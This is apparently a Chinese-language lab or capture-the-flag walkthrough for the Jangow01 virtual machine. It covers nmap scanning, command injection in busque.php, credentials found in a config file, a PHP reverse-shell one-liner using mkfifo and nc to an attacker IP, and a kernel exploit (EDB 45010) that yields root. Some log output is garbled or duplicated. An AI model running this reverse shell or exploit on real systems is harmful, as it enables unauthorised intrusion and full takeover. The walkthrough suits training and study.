主机发现

端口扫描

TCP:

sudo nmap -sT -sV -0 -p- -sC --min-rate=10000 -T5 172.16.170.48

```
PORT
       STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
|_http-title: Index of /
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-ls: Volume /
| SIZE TIME
                         FILENAME
       2021-06-10 18:05 site/
MAC Address: 00:0C:29:3A:A4:62 (VMware)
Warning: OSScan results may be unreliable because we could
not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3
cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2
- 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Unix
```

UDP:

```
sudo nmap -su -p- 172.16.170.48
```

```
sudo nmap -sT -sV -0 -p21,80 --script=vuln --min-
rate=10000 -T5 172.16.170.48
Starting Nmap 7.93 (https://nmap.org) at 2023-03-09
02:52 EST
Pre-scan script results:
| broadcast-avahi-dos:
Discovered hosts:
    224.0.0.251
After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 172.16.170.48
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
|_http-dombased-xss: Couldn't find any DOM based XSS.
| vulners:
cpe:/a:apache:http_server:2.4.18:
       CVE-2022-31813 7.5
https://vulners.com/cve/CVE-2022-31813
      CNVD-2021-102386
                             7.5
https://vulners.com/cnvd/CNVD-2021-102386
       EXPLOITPACK: 44C5118F831D55FAF4259C41D8BDA0AB
7.2
https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55
FAF4259C41D8BDA0AB *EXPLOIT*
      EDB-ID:46676 7.2
https://vulners.com/exploitdb/EDB-ID:46676 *EXPLOIT*
       CVE-2019-0211 7.2
https://vulners.com/cve/CVE-2019-0211
      1337DAY-ID-32502
https://vulners.com/zdt/1337DAY-ID-32502 *EXPLOIT*
       FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8
https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-
BA752CA34AE8
               *EXPLOIT*
      CVE-2021-40438 6.8
https://vulners.com/cve/CVE-2021-40438
       CVE-2020-35452 6.8
https://vulners.com/cve/CVE-2020-35452
      CVE-2018-1312 6.8
https://vulners.com/cve/CVE-2018-1312
       CVE-2017-15715 6.8
https://vulners.com/cve/CVE-2017-15715
       CVE-2016-5387 6.8
https://vulners.com/cve/CVE-2016-5387
      CNVD-2022-03224 6.8
https://vulners.com/cnvd/CNVD-2022-03224
```

```
8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2
                                               6.8
https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-
24D7884FF2A2
                 *EXPLOIT*
       4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332
                                               6.8
https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-
                 *EXPLOIT*
DDAFA2F63332
       4373C92A-2755-5538-9C91-0469C995AA9B
https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-
0469C995AA9B
                 *EXPLOIT*
       0095E929-7573-5E4A-A7FA-F6598A35E8DE
https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-
                 *EXPLOIT*
F6598A35E8DE
       CVE-2022-28615 6.4
https://vulners.com/cve/CVE-2022-28615
       CVE-2021-44224 6.4
https://vulners.com/cve/CVE-2021-44224
       CVE-2019-10082 6.4
https://vulners.com/cve/CVE-2019-10082
       CVE-2017-9788 6.4
https://vulners.com/cve/CVE-2017-9788
       CVE-2019-0217 6.0
https://vulners.com/cve/CVE-2019-0217
       CVE-2022-22721 5.8
https://vulners.com/cve/CVE-2022-22721
       CVE-2020-1927 5.8
https://vulners.com/cve/CVE-2020-1927
       CVE-2019-10098 5.8
https://vulners.com/cve/CVE-2019-10098
       1337DAY-ID-33577
                               5.8
https://vulners.com/zdt/1337DAY-ID-33577
                                             *EXPLOIT*
       SSV:96537
                      5.0
https://vulners.com/seebug/SSV:96537 *EXPLOIT*
       EXPLOITPACK: C8C256BE0BFF5FE1C0405CB0AA9C075D
5.0
https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5F
E1C0405CB0AA9C075D
                         *EXPLOIT*
       EXPLOITPACK: 2666FB0676B4B582D689921651A30355
1
5.0
https://vulners.com/exploitpack/EXPLOITPACK:2666FB0676B4B5
82D689921651A30355
                         *EXPLOIT*
       EDB-ID:42745
                       5.0
https://vulners.com/exploitdb/EDB-ID:42745
                                              *EXPLOIT*
       EDB-ID:40909
                      5.0
https://vulners.com/exploitdb/EDB-ID:40909
                                               *EXPLOIT*
       CVE-2016-1546 4.3
https://vulners.com/cve/CVE-2016-1546
       4013EC74-B3C1-5D95-938A-54197A58586D
https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-
                 *EXPLOIT*
54197A58586D
       1337DAY-ID-33575
                               4.3
https://vulners.com/zdt/1337DAY-ID-33575
                                              *EXPLOIT*
```

```
CVE-2018-1283 3.5
https://vulners.com/cve/CVE-2018-1283
        CVE-2016-8612 3.3
https://vulners.com/cve/CVE-2016-8612
        PACKETSTORM: 152441
                                0.0
https://vulners.com/packetstorm/PACKETSTORM:152441
*EXPLOIT*
        CVE-2022-37436 0.0
https://vulners.com/cve/CVE-2022-37436
        CVE-2022-36760 0.0
https://vulners.com/cve/CVE-2022-36760
        CVE-2006-20001 0.0
https://vulners.com/cve/CVE-2006-20001
| http-fileupload-exploiter:
1_
      Couldn't find a file-type field.
| http-sql-injection:
  Possible sqli for queries:
      http://172.16.170.48:80/?
C=N%3BO%3DA%27%20OR%20sqlspider
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-enum:
    /: Root directory w/ listing on 'apache/2.4.18
|_ /site/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS
vulnerabilities.
MAC Address: 00:0C:29:3A:A4:62 (VMware)
Warning: OSScan results may be unreliable because we could
not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
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OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2
- 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Unix
```

web探索+漏洞利用

hello@yourdomain.com

目录扫描发现,在路径 http://172.16.170.48/site/busque.php?buscar=发现可以执行命令,发现存在用户/home/jangow01/user.txt ,打开文件是md5加密的文件,写入一反弹shell

```
(*) 基础信息
当前路径: /var/www/html/site
磁盘列表: /
系统信息: Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64
当前用户: www-data
(*) 输入 ashetp 查本地命令
(**www-data:/var/www/html/site) $ whoami
*www-data
(**www-data:/var/www/html/site) $ sudo -l
*sudo: unable to resolve host jangow01: Connection refused
*sudo: unable to resolve host jangow01: Connection refused
*sudo: unable to resolve host jangow01: Connection refused
*sudo: var/www/html/site) $ sudo -l
*sudo: var/www/html/site) $ sudo -l
*sudo: var/www/html/site) $ sudo -l
*sudo: var/www/html/site) $ sudo: var/www/html/site) $ cat /etc/shadow
*cat: /etc/shadow: Permission denied
(*www-data:/var/www/html/site) $ sudo: var/www/html/site) $ sudo: var/
```

连接成功

发现MySQL账户

```
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygur169";
// Create connection
$conn = mysqli_connect($servername, $username, $password,
$database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
```

```
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
```

尝试登录ftp, 是网站后台目录,

这里也有密码,尝试登录ftp,失败

【重定向】linux的重定向总结 - 代码小绵羊 - 博客园 (cnblogs.com)

```
写入文件件,反弹shell
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -
i 2>&1|nc 10.36.101.179 443 >/tmp/f");?>
```

```
rm /tmp/f 删除
mkfifo /tmp/f; 在tmp 目录下写fifo 文件f
/bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出
nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo
```

反弹shell成功

提权

jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester (github.com)

将文件上传给靶机(蚁剑),得到

searchsploit linux Kernel 4.4 -m 45010

上传至靶机编译,添加执行权限,成功提权

```
[*] attaching bpf backdoor to socket
[*] skbuff ⇒ ffff880037a33a00
[*] Leaking sock struct from ffff880037d85680
[*] Sock→sk_rcvtimeo at offset 472
[*] Cred structure at ffff880035b9e540
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff880035b9e540
[*] credentials patched, launching shell...
#

# python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@jangow01:/var/www/html/site# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@jangow01:/var/www/html/site# whoami
whoami
root
root@jangow01:/var/www/html/site#
```